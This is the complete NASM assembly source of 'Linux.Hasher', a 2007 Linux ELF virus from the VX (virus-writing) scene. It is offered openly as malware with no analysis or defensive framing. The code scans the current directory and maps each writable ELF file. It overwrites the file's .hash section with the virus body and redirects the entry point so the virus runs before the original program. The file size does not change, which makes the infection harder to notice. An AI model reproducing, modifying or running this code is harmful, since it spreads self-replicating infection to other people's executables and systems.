; Linux.Hasher (x) 2007, herm1t <herm1t@vx.netlux.org>
; Features:
;  - cavity infector, remove .hash section, file size will not be increased
;  - no delta, address of the virus saved in the body upon infection
%macro movb 2 
	%if %2 == 0 
		xor     %1, %1 
	%else 
	        push    byte %2 
        	pop     %1 
	%endif 
%endmacro 
		BITS	32
		CPU	486
		global	_start
_start:		push	strict dword fake_host
		pusha
		enter	268,0			; sizeof(dirent)
		push	'.'
		mov	ebx, esp
		movb	eax, 5
		movb	ecx, 0
		int	0x80
		or	eax, eax
		js	.vr
		xchg	eax, ebx
.rd:		mov	ecx, esp
		movb	eax, 89
		int	0x80
		dec	eax
		jz	infect
.vc:		movb	eax, 6
		int	0x80		
.vr:		leave
		popa
                ret
infect:		pusha
		mov	al, 5
		lea	ebx, [esp + 32 + 10]	; d_name
		movb	ecx, 2
		int	0x80
		or	eax, eax
		js	.ir
		xchg	eax, ebx
                movb    eax, 19
		mov	edx, ecx
		sub	ecx, ecx
		int	0x80
		xchg	eax, edx
		pusha
		mov	ecx, edx
		mov	edi, ebx
		mov	al, 192
		xor     ebx, ebx
		movb	edx, 3
		movb	esi, 1
		xor     ebp, ebp
		int     0x80
		mov	[esp + 28], eax
		bswap	eax
		inc	ax			; > 0xffff0000
		popa
		jz	.ic
		xchg	eax, esi
		mov	eax, dword [esi]	; ? 0x464c457f
		xor	eax, dword [esi + 16]	; ? 0x00030002
		add	eax, 0xb9b0ba83
		jnz	.iu
		mov	edi, [esi + 32]		; e_shoff
		add	edi, esi
		movzx	ecx, word [esi + 48]	; e_shnum
.hl:		cmp	dword [edi + 4], 5	; sh_type == SHT_HASH
		je	.fh
		add	edi, 40
		loop	.hl
.iu:		push	ebx
		mov	al, 91
		mov	ebx, esi
		mov	ecx, edx
		int	0x80
		pop	ebx
.ic:		movb	eax, 6
		int	0x80		
.ir:		popa
		jmp	_start.rd
.fh:		mov	cl, _size		; even bash has 30 sections
		cmp	ecx, [edi + 20]		; sh_size
		ja	.iu
		mov	ebp, [edi + 16]
		add	ebp, esi
		cmp	byte [ebp], 0x68	; already infected?
		je	.iu
		xor	eax, eax
		mov	dword [edi + 4], eax
		pusha
		cld
		mov	edi, ebp
		mov	esi, strict dword _start
_self		equ	$-_start-4
		rep	movsb
		popa
		mov	eax, [esi + 24]		; e_entry
		mov	[ebp + 1], eax		; save old entry
		mov	eax, [edi + 12]		; sh_addr
		mov	[ebp + _self], eax
		mov	[esi + 24], eax		; e_entry
		jmp	.iu
_size		equ	$-_start
fake_host:	mov	eax,1
		int	0x80
